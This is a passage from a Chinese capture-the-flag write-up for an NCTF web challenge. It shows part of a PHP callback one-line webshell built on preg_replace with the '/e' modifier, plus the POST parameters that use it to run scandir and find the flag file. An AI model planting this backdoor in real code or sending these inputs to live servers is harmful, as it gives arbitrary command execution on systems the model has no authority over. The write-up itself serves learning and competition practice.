$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

查询得到这是一个回调函数的一句话木马

那么我们post参数www=preg_replace,wtf就是我们可以任意执行的命令

那么我们可以post参数wtf=print_r(scandir(‘./‘));

发现文件:恭喜你获得flag2.txt

获得flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2018/08/12/nctf-Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog